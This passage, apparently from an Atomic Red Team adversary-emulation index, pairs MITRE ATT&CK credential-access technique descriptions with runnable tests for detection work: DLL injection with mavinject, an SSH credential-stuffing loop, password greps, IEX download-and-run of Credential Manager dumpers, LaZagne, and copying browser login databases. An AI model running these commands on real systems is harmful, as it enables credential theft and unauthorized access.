        source_name: Adlice Software IAT Hooks Oct 2014
      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
          Mode. Retrieved December 20, 2017.'
        source_name: MWRInfoSecurity Dynamic Hooking 2015
      - url: https://www.exploit-db.com/docs/17802.pdf
        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
          December 12, 2017.
        source_name: HighTech Bridge Inline Hooking Sept 2011
      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
        source_name: Volatility Detecting Hooks Sept 2012
      - url: https://github.com/prekageo/winhook
        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
        source_name: PreKageo Winhook Jul 2011
      - url: https://github.com/jay/gethooks
        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
          12, 2017.
        source_name: Jay GetHooks Sept 2011
      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
        description: Felici, M. (2006, December 6). Any application-defined hook procedure
          on my machine?. Retrieved December 12, 2017.
        source_name: Zairon Hooking Dec 2006
      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
          against user-land. Retrieved December 12, 2017.'
        source_name: EyeofRa Detecting Hooking June 2017
      - url: http://www.gmer.net/
        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
        source_name: GMER Rootkits
      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
          December 12, 2017.
        source_name: Microsoft Process Snapshot
      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
        description: Stack Exchange - Security. (2012, July 31). What are the methods
          to find hooked functions and APIs?. Retrieved December 12, 2017.
        source_name: StackExchange Hooks Jul 2012
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Credential API Hooking
      description: |
        Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

        * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
        * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
        * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-11-10T18:29:31.138Z'
      created: '2020-02-11T19:01:15.930Z'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)

        Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.

        Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1056.004
    atomic_tests:
    - name: Hook PowerShell TLS Encrypt/Decrypt Messages
      auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
      description: 'Hooks functions in PowerShell to read TLS Communications

'
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: Dll To Inject
          type: Path
          default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
        server_name:
          description: TLS Server To Test Get Request
          type: Url
          default: https://www.example.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name})

'
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: |
          mavinject $pid /INJECTRUNNING #{file_name}
          Invoke-WebRequest #{server_name} -UseBasicParsing
        name: powershell
        elevation_required: true
  T1110.004:
    technique:
      id: attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc
      description: |-
        Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

        Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

        Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
      name: Credential Stuffing
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1110.004
        url: https://attack.mitre.org/techniques/T1110/004
      - external_id: CAPEC-600
        source_name: capec
        url: https://capec.mitre.org/data/definitions/600.html
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-06T12:31:06.695Z'
      created: '2020-02-11T18:39:59.959Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials.
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Diogo Fernandes
      - Anastasios Pingios
      identifier: T1110.004
    atomic_tests:
    - name: SSH Credential Stuffing From Linux
      auto_generated_guid: 4f08197a-2a8a-472d-9589-cd2895ef22ad
      description: 'Using username,password combination from a password dump to login
        over SSH.

'
      supported_platforms:
      - linux
      input_arguments:
        target_host:
          description: IP Address / Hostname you want to target.
          type: String
          default: localhost
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires SSHPASS

'
        prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] ||
          [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo
          apt install sshpass -y; else echo "This test requires sshpass" ; fi ;

'
      executor:
        name: bash
        elevation_required: false
        command: |
          cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
          for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
    - name: SSH Credential Stuffing From MacOS
      auto_generated_guid: d546a3d9-0be5-40c7-ad82-5a7d79e1b66b
      description: 'Using username,password combination from a password dump to login
        over SSH.

'
      supported_platforms:
      - macos
      input_arguments:
        target_host:
          description: IP Address / Hostname you want to target.
          type: String
          default: localhost
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires SSHPASS

'
        prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: |
          /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
          brew install hudochenkov/sshpass/sshpass
      executor:
        name: bash
        elevation_required: false
        command: |
          cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
          for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
  T1552.001:
    technique:
      id: attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc
      description: |-
        Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

        It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

        In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
      name: Credentials In Files
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1552.001
        url: https://attack.mitre.org/techniques/T1552/001
      - external_id: CAPEC-639
        source_name: capec
        url: https://capec.mitre.org/data/definitions/639.html
      - url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
        description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part
          1. Retrieved November 12, 2014.
        source_name: CG 2014
      - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
        description: 'Security Research and Defense. (2014, May 13). MS14-025: An
          Update for Group Policy Preferences. Retrieved January 28, 2015.'
        source_name: SRD GPP
      - source_name: Unit 42 Hildegard Malware
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
      - source_name: Unit 42 Unsecured Docker Daemons
        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
      - source_name: Specter Ops - Cloud Credential Storage
        url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
        description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved
          October 4, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-12T18:32:32.803Z'
      created: '2020-02-04T12:52:13.006Z'
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_contributors:
      - Rory McCune, Aqua Security
      - Jay Chen, Palo Alto Networks
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: 'While detecting adversaries accessing these files may be
        difficult without knowing they exist in the first place, it may be possible
        to detect adversary use of credentials they have obtained. Monitor the command-line
        arguments of executing processes for suspicious words or regular expressions
        that may indicate searching for a password (for example: password, pwd, login,
        secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        for more information.'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_system_requirements:
      - Access to files
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1552.001
    atomic_tests:
    - name: Extract Browser and System credentials with LaZagne
      auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79
      description: "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n"
      supported_platforms:
      - macos
      executor:
        command: 'python2 laZagne.py all

'
        elevation_required: true
        name: bash
    - name: Extract passwords with grep
      auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4
      description: 'Extracting credentials from files

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_path:
          description: Path to search
          type: String
          default: "/"
      executor:
        command: 'grep -ri password #{file_path}

'
        name: sh
    - name: Extracting passwords with findstr
      auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513
      description: 'Extracting Credentials from Files. Upon execution, the contents
        of files that contain the word "password" will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          findstr /si pass *.xml *.doc *.txt *.xls
          ls -R | select-string -Pattern password
        name: powershell
    - name: Access unattend.xml
      auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3
      description: |
        Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
        If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
      supported_platforms:
      - windows
      executor:
        command: |
          type C:\Windows\Panther\unattend.xml
          type C:\Windows\Panther\Unattend\unattend.xml
        name: command_prompt
        elevation_required: true
    - name: Find and Access Github Credentials
      auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
      description: 'This test looks for .netrc files (which stores github credentials
        in clear text )and dumps its contents if found.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: bash
        elevation_required: false
        command: "for file in $(find / -name .netrc 2> /dev/null);do echo $file ;
          cat $file ; done \n"
  T1555:
    technique:
      id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0
      description: Adversaries may search for common password storage locations to
        obtain user credentials. Passwords are stored in several places on a system,
        depending on the operating system or application holding the credentials.
        There are also specific applications that store passwords to make it easier
        for users manage and maintain. Once credentials are obtained, they can be
        used to perform lateral movement and access restricted information.
      name: Credentials from Password Stores
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1555
        url: https://attack.mitre.org/techniques/T1555
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-29T21:00:19.428Z'
      created: '2020-02-11T18:48:28.456Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: Monitor system calls, file read events, and processes for
        suspicious activity that could indicate searching for a password  or other
        activity related to performing keyword searches (e.g. password, pwd, login,
        store, secure, credentials, etc.) in process memory for credentials. File
        read events should be monitored surrounding known password storage applications.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      identifier: T1555
    atomic_tests:
    - name: Extract Windows Credential Manager via VBA
      auto_generated_guid: 234f9b7c-b53d-4f32-897b-b880a6c9ea7b
      description: |
        This module will extract the credentials found within the Windows credential manager and dump
        them to $env:TEMP\windows-credentials.txt
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "word.Application" | Out-Null
            $process = "winword"
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"
        cleanup_command: 'Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction
          Ignore

'
        name: powershell
    - name: Dump credentials from Windows Credential Manager With PowerShell [windows
        Credentials]
      auto_generated_guid: c89becbe-1758-4e7d-a0f4-97d2188a23e3
      description: This module will extract the credentials from Windows Credential
        Manager
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1'
          -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n"
    - name: Dump credentials from Windows Credential Manager With PowerShell [web
        Credentials]
      auto_generated_guid: 8fd5a296-6772-4766-9991-ff4e92af7240
      description: This module will extract the credentials from Windows Credential
        Manager
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'IEX (IWR ''https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1''
          -UseBasicParsing); Get-CredManCreds -Force

'
    - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe
        [Windows Credentials]
      auto_generated_guid: 36753ded-e5c4-4eb5-bc3c-e8fba236878d
      description: This module will enumerate credentials stored in Windows Credentials
        vault of Windows Credential Manager using builtin utility vaultcmd.exe
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'vaultcmd /listcreds:"Windows Credentials" /all

'
    - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe
        [Web Credentials]
      auto_generated_guid: bc071188-459f-44d5-901a-f8f2625b2d2e
      description: This module will enumerate credentials stored in Web Credentials
        vault of Windows Credential Manager using builtin utility vaultcmd.exe
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'vaultcmd /listcreds:"Web Credentials" /all

'
  T1555.003:
    technique:
      created: '2020-02-12T18:57:36.041Z'
      modified: '2021-04-14T14:03:47.293Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1555.003
        url: https://attack.mitre.org/techniques/T1555/003
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: Microsoft CryptUnprotectData April 2018
        url: https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
        description: Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved
          June 18, 2019.
      - source_name: Proofpoint Vega Credential Stealer May 2018
        url: https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign
        description: Proofpoint. (2018, May 10). New Vega Stealer shines brightly
          in targeted campaign . Retrieved June 18, 2019.
      - source_name: FireEye HawkEye Malware July 2017
        url: https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
        description: Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential
          Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18,
          2019.
      - source_name: GitHub Mimikittenz July 2016
        url: https://github.com/putterpanda/mimikittenz
        description: Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz.
          Retrieved June 20, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Credentials from Web Browsers
      description: "Adversaries may acquire credentials from web browsers by reading
        files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)
        Web browsers commonly save credentials such as website usernames and passwords
        so that they do not need to be entered manually in the future. Web browsers
        typically store the credentials in an encrypted format within a credential
        store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor
        example, on Windows systems, encrypted credentials may be obtained from Google
        Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User
        Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url,
        username_value, password_value FROM logins;</code>. The plaintext password
        can then be obtained by passing the encrypted credentials to the Windows API
        function <code>CryptUnprotectData</code>, which uses the victim’s cached logon
        credentials as the decryption key. (Citation: Microsoft CryptUnprotectData
        April 2018)\n \nAdversaries have executed similar procedures for common web
        browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential
        Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores
        Internet Explorer and Microsoft Edge credentials in Credential Lockers managed
        by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries
        may also acquire credentials by searching web browser process memory for patterns
        that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter
        acquiring credentials from web browsers, adversaries may attempt to recycle
        the credentials across different systems and/or accounts in order to expand
        access. This can result in significantly furthering an adversary's objective
        in cases where credentials gained from web browsers overlap with privileged
        accounts (e.g. domain administrator)."
      id: attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_contributors:
      - Ryan Benson, Exabeam
      - Barry Shteiman, Exabeam
      - Sylvain Gil, Exabeam
      - RedHuntLabs, @redhuntlabs
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Identify web browser files that contain credentials such
        as Google Chrome’s Login Data database file: <code>AppData\Local\Google\Chrome\User
        Data\Default\Login Data</code>. Monitor file read events of web browser files
        that contain credentials, especially when the reading process is unrelated
        to the subject web browser. Monitor process execution logs to include PowerShell
        Transcription focusing on those that perform a combination of behaviors including
        reading web browser process memory, utilizing regular expressions, and those
        that contain numerous keywords for common web applications (Gmail, Twitter,
        Office365, etc.).'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1555.003
    atomic_tests:
    - name: Run Chrome-password Collector
      auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622
      description: |
        A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

        Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb.

        Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path for modified Sysinternals
          type: String
          default: "$env:TEMP"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Modified Sysinternals must be located at #{file_path}

'
        prereq_command: 'if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit
          1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
          Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
          Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
      executor:
        command: |
          Set-Location -path "#{file_path}\Sysinternals";
          ./accesschk.exe -accepteula .;
        cleanup_command: 'Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction
          Ignore

'
        name: powershell
    - name: Search macOS Safari Cookies
      auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b
      description: |
        This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

        Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.
      supported_platforms:
      - macos
      input_arguments:
        search_string:
          description: String to search Safari cookies to find.
          type: String
          default: coinbase
      executor:
        command: |
          cd ~/Library/Cookies
          grep -q "#{search_string}" "Cookies.binarycookies"
        name: sh
    - name: LaZagne - Credentials from Browser
      auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014
      description: "The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne)
        to extract passwords from browsers on the Windows operating system.\nLaZagne
        is an open source application used to retrieve passwords stored on a local
        computer. \n"
      supported_platforms:
      - windows
      input_arguments:
        lazagne_path:
          description: Path to LaZagne
          type: Path
          default: PathToAtomicsFolder\T1555.003\bin\LaZagne.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'LaZagne.exe must exist on disk at specified location (#{lazagne_path})

'
        prereq_command: 'if (Test-Path #{lazagne_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "#{lazagne_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: "#{lazagne_path} browsers\n"
    - name: Simulating access to Chrome Login Data
      auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d
      description: "Simulates an adversary accessing encrypted credentials from Google
        Chrome Login database. \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

'
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: |
          $installer = "$env:temp\ChromeStandaloneSetup64.msi"
          Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
          msiexec /i $installer /qn
          Start-Process -FilePath "chrome.exe"
          Stop-Process -Name "chrome"
      executor:
        name: powershell
        command: |
          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp
          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp
        cleanup_command: |
          Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
          Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
    - name: Simulating access to Opera Login Data
      auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b
      description: "Simulates an adversary accessing encrypted credentials from Opera
        web browser's login database. \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Opera must be installed

'
        prereq_command: if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe")
          -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program
          Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1}
        get_prereq_command: |
          $installer = "$env:temp\OperaStandaloneInstaller.exe"
          Invoke-WebRequest -OutFile $env:temp\OperaStandaloneInstaller.exe https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe
          Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'
          Start-Sleep -s 180
          Stop-Process -Name "opera"
      - description: 'Opera login data file must exist

'
